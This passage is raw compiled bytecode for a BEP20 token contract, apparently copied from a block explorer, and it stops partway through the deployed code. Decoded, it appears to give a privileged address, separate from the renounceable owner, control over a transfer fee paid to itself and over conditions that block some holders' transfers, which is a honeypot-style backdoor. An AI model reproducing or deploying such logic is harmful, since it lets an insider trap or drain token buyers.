fffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109806111e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a04906124dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610b039061272c565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2f9061272c565b8015610b7c5780601f10610b5157610100808354040283529160200191610b7c565b820191906000526020600020905b815481529060010190602001808311610b5f57829003601f168201915b5050505050905090565b6000610b9a610b936111e2565b8484611588565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be56111e2565b73ffffffffffffffffffffffffffffffffffffffff1614610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c32906123bd565b60405180910390fd5b80600b8190555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c866111e2565b73ffffffffffffffffffffffffffffffffffffffff1614610cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd3906123bd565b60405180910390fd5b80600c8190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60078181548110610d7d57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ded6111e2565b73ffffffffffffffffffffffffffffffffffffffff1614610e43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3a906123bd565b60405180910390fd5b6007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610eb16111e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f35906124dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa59061241d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6110736111e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611100576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f7906124dd565b60405180910390fd5b6001600a60006101000a81548160ff021916908315150217905550565b6000808314156111305760009050611192565b6000828461113e9190612616565b905082848261114d91906125e5565b1461118d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611184906124bd565b60405180910390fd5b809150505b92915050565b60006111da83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c46565b905092915050565b600033905090565b6000611275826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be29092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061130a82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113aa919061253d565b60405180910390a3600190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114249061251d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114949061243d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061253d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ef906123dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f906124fd565b60405180910390fd5b6001151561167584611d07565b151514156116c257600c5481106116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061249d565b60405180910390fd5b5b6116ca610acb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806117505750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611903576117c181604051806060016040528060268152602001612bb860269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be29092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118f6919061253d565b60405180910390a3611bdd565b61190c83611dd8565b61191557600080fd5b600061193f6064611931600c548561111d90919063ffffffff16565b61119890919063ffffffff16565b905060006119568284611ea290919063ffffffff16565b90506119c483604051806060016040528060268152602001612bb860269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be29092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a5981600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b108260016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b60016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bd2919061253d565b60405180910390a350505b505050565b6000838311158290611c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c21919061239b565b60405180910390fd5b5060008385611c399190612670565b9050809150509392505050565b60008083118290611c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c84919061239b565b60405180910390fd5b5060008385611c9c91906125e5565b9050809150509392505050565b6000808284611cb8919061258f565b905083811015611cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf49061247d565b60405180910390fd5b8091505092915050565b600080600090505b600780549050811015611dd1578273ffffffffffffffffffffffffffffffffffffffff1660078281548110611d6d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611dbe576001915050611dd3565b8080611dc99061275e565b915050611d0f565b505b919050565b600080611e046064611df6601e60035461111d90919063ffffffff16565b61119890919063ffffffff16565b9050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e66576001915050611e9d565b600454611e728461092f565b10158015611e88575080611e858461092f565b11155b15611e97576000915050611e9d565b60019150505b919050565b6000611ee483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611be2565b905092915050565b600081359050611efb81612b61565b92915050565b60008083601f840112611f1357600080fd5b8235905067ffffffffffffffff811115611f2c57600080fd5b602083019150836020820283011115611f4457600080fd5b9250929050565b60008083601f840112611f5d57600080fd5b8235905067ffffffffffffffff811115611f7657600080fd5b602083019150836020820283011115611f8e57600080fd5b9250929050565b600081359050611fa481612b78565b92915050565b600060208284031215611fbc57600080fd5b6000611fca84828501611eec565b91505092915050565b60008060408385031215611fe657600080fd5b6000611ff485828601611eec565b925050602061200585828601611eec565b9150509250929050565b60008060006060848603121561202457600080fd5b600061203286828701611eec565b935050602061204386828701611eec565b925050604061205486828701611f95565b9150509250925092565b60008060008060006060868803121561207657600080fd5b600061208488828901611eec565b955050602086013567ffffffffffffffff8111156120a157600080fd5b6120ad88828901611f01565b9450945050604086013567ffffffffffffffff8111156120cc57600080fd5b6120d888828901611f4b565b92509250509295509295909350565b600080604083850312156120fa57600080fd5b600061210885828601611eec565b925050602061211985828601611f95565b9150509250929050565b60006020828403121561213557600080fd5b600061214384828501611f95565b91505092915050565b612155816126a4565b82525050565b612164816126b6565b82525050565b600061217582612573565b61217f818561257e565b935061218f8185602086016126f9565b61219881612834565b840191505092915050565b60006121b060208361257e565b91506121bb82612845565b602082019050919050565b60006121d360258361257e565b91506121de8261286e565b604082019050919050565b60006121f660288361257e565b9150612201826128bd565b604082019050919050565b600061221960268361257e565b91506122248261290c565b604082019050919050565b600061223c60228361257e565b91506122478261295b565b604082019050919050565b600061225f601c8361257e565b915061226a826129aa565b602082019050919050565b6000612282601b8361257e565b915061228d826129d3565b602082019050919050565b60006122a560288361257e565b91506122b0826129fc565b604082019050919050565b60006122c860218361257e565b91506122d382612a4b565b604082019050919050565b60006122eb60208361257e565b91506122f682612a9a565b602082019050919050565b600061230e60238361257e565b915061231982612ac3565b604082019050919050565b600061233160248361257e565b915061233c82612b12565b604082019050919050565b612350816126e2565b82525050565b61235f816126ec565b82525050565b600060208201905061237a600083018461214c565b92915050565b6000602082019050612395600083018461215b565b92915050565b600060208201905081810360008301526123b5818461216a565b905092915050565b600060208201905081810360008301526123d6816121a3565b9050919050565b600060208201905081810360008301526123f6816121c6565b9050919050565b60006020820190508181036000830152612416816121e9565b9050919050565b600060208201905081810360008301526124368161220c565b9050919050565b600060208201905081810360008301526124568161222f565b9050919050565b6000602082019050818103600083015261247681612252565b9050919050565b6000602082019050818103600083015261249681612275565b9050919050565b600060208201905081810360008301526124b681612298565b9050919050565b600060208201905081810360008301526124d6816122bb565b9050919050565b600060208201905081810360008301526124f6816122de565b9050919050565b6000602082019050818103600083015261251681612301565b9050919050565b6000602082019050818103600083015261253681612324565b9050919050565b60006020820190506125526000830184612347565b92915050565b600060208201905061256d6000830184612356565b92915050565b600081519050919050565b600082825260208201905092915050565b600061259a826126e2565b91506125a5836126e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125da576125d96127a7565b5b828201905092915050565b60006125f0826126e2565b91506125fb836126e2565b92508261260b5761260a6127d6565b5b828204905092915050565b6000612621826126e2565b915061262c836126e2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612665576126646127a7565b5b828202905092915050565b600061267b826126e2565b9150612686836126e2565b925082821015612699576126986127a7565b5b828203905092915050565b60006126af826126c2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156127175780820151818401526020810190506126fc565b83811115612726576000848401525b50505050565b6000600282049050600182168061274457607f821691505b6020821081141561275857612757612805565b5b50919050565b6000612769826126e2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561279c5761279b6127a7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a2063616e6e6f74207065726d6974206465762061646472657373600082015250565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4d69736d61746368206265747765656e204164647265737320616e6420746f6b60008201527f656e20636f756e74000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4e6f7420656e6f75676820746f6b656e7320746f2061697264726f7000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f42455032303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612b6a816126a4565b8114612b7557600080fd5b50565b612b81816126e2565b8114612b8c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220cf2d0c4f45807f9decb656cdc5608c84a56e56e715381187203a0feea558171964736f6c63430008040033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063dd62ed3e11610071578063dd62ed3e1461030b578063df9364461461033b578063e7cd4a041461036b578063f2fde38b14610387578063f4293890146103a35761012c565b80638da5cb5b1461026757806395d89b4114610285578063a9059cbb146102a3578063acedf07c146102d3578063b5505335146102ef5761012c565b806323b872dd116100f457806323b872dd146101d5578063313ce5671461020557806351bc3c851461022357806370a082311461022d578063715018a61461025d5761012c565b8063025ff12f1461013157806306fdde031461014d578063095ea7b31461016b5780631225bf691461019b57806318160ddd146101b7575b600080fd5b61014b6004803603810190610146919061205e565b6103ad565b005b610155610608565b604051610162919061239b565b60405180910390f35b610185600480360381019061018091906120e7565b61069a565b6040516101929190612380565b60405180910390f35b6101b560048036038101906101b09190611faa565b6106b8565b005b6101bf610793565b6040516101cc919061253d565b60405180910390f35b6101ef60048036038101906101ea919061200f565b61079d565b6040516101fc9190612380565b60405180910390f35b61020d610876565b60405161021a9190612558565b60405180910390f35b61022b61088d565b005b61024760048036038101906102429190611faa565b61092f565b604051610254919061253d565b60405180910390f35b610265610978565b005b61026f610acb565b60405161027c9190612365565b60405180910390f35b61028d610af4565b60405161029a919061239b565b60405180910390f35b6102bd60048036038101906102b891906120e7565b610b86565b6040516102ca9190612380565b60405180910390f35b6102ed60048036038101906102e89190612123565b610ba4565b005b61030960048036038101906103049190612123565b610c45565b005b61032560048036038101906103209190611fd3565b610ce6565b604051610332919061253d565b60405180910390f35b61035560048036038101906103509190612123565b610d6d565b6040516103629190612365565b60405180910390f35b61038560048036038101906103809190611faa565b610dac565b005b6103a1600480360381019061039c9190611faa565b610ea9565b005b6103ab61106b565b005b6103b56111e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610442576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610439906124dd565b60405180910390fd5b600082829050858590501461048c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610483906123fd565b60405180910390fd5b60005b858590508110156104fa578383828181106104d3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135826104e5919061258f565b915080806104f29061275e565b91505061048f565b50806105058761092f565b1015610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053d9061245d565b60405180910390fd5b60005b858590508110156105ff576105eb87878784818110610591577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906105a69190611faa565b8686858181106105df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356111ea565b5080806105f79061275e565b915050610549565b50505050505050565b6060600880546106179061272c565b80601f01602080910402602001604051908101604052809291908181526020018280546106439061272c565b80156106905780601f1061066557610100808354040283529160200191610690565b820191906000526020600020905b81548152906001019060200180831161067357829003601f168201915b5050505050905090565b60006106ae6106a76111e2565b84846113bd565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f96111e2565b73ffffffffffffffffffffffffffffffffffffffff161461074f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610746906123bd565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600354905090565b60006107aa848484611588565b61086b846107b66111e2565b61086685604051806060016040528060288152602001612b9060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061081c6111e2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be29092919063ffffffff16565b6113bd565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108ce6111e2565b73ffffffffffffffffffffffffffffffffffffffff1614610924576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091b906123bd565b60405180910390fd5b600b54600481905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109806111e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a04906124dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610b039061272c565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2f9061272c565b8015610b7c5780601f10610b5157610100808354040283529160200191610b7c565b820191906000526020600020905b815481529060010190602001808311610b5f57829003601f168201915b5050505050905090565b6000610b9a610b936111e2565b8484611588565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be56111e2565b73ffffffffffffffffffffffffffffffffffffffff1614610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c32906123bd565b60405180910390fd5b80600b8190555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c866111e2565b73ffffffffffffffffffffffffffffffffffffffff1614610cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd3906123bd565b60405180910390fd5b80600c8190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60078181548110610d7d57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ded6111e2565b73ffffffffffffffffffffffffffffffffffffffff1614610e43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3a906123bd565b60405180910390fd5b6007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610eb16111e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f35906124dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa59061241d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6110736111e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611100576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f7906124dd565b60405180910390fd5b6001600a60006101000a81548160ff021916908315150217905550565b6000808314156111305760009050611192565b6000828461113e9190612616565b905082848261114d91906125e5565b1461118d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611184906124bd565b60405180910390fd5b809150505b92915050565b60006111da83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c46565b905092915050565b600033905090565b6000611275826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be29092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061130a82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113aa919061253d565b60405180910390a3600190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114249061251d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114949061243d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061253d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ef906123dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f906124fd565b60405180910390fd5b6001151561167584611d07565b151514156116c257600c5481106116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061249d565b60405180910390fd5b5b6116ca610acb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806117505750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611903576117c181604051806060016040528060268152602001612bb860269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be29092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118f6919061253d565b60405180910390a3611bdd565b61190c83611dd8565b61191557600080fd5b600061193f6064611931600c548561111d90919063ffffffff16565b61119890919063ffffffff16565b905060006119568284611ea290919063ffffffff16565b90506119c483604051806060016040528060268152602001612bb860269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be29092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a5981600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b108260016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b60016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bd2919061253d565b60405180910390a350505b505050565b6000838311158290611c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c21919061239b565b60405180910390fd5b5060008385611c399190612670565b9050809150509392505050565b60008083118290611c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c84919061239b565b60405180910390fd5b5060008385611c9c91906125e5565b9050809150509392505050565b6000808284611cb8919061258f565b905083811015611cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf49061247d565b60405180910390fd5b8091505092915050565b600080600090505b600780549050811015611dd1578273ffffffffffffffffffffffffffffffffffffffff1660078281548110611d6d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611dbe576001915050611dd3565b8080611dc99061275e565b915050611d0f565b505b919050565b600080611e046064611df6601e60035461111d90919063ffffffff16565b61119890919063ffffffff16565b9050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e66576001915050611e9d565b600454611e728461092f565b10158015611e88575080611e858461092f565b11155b156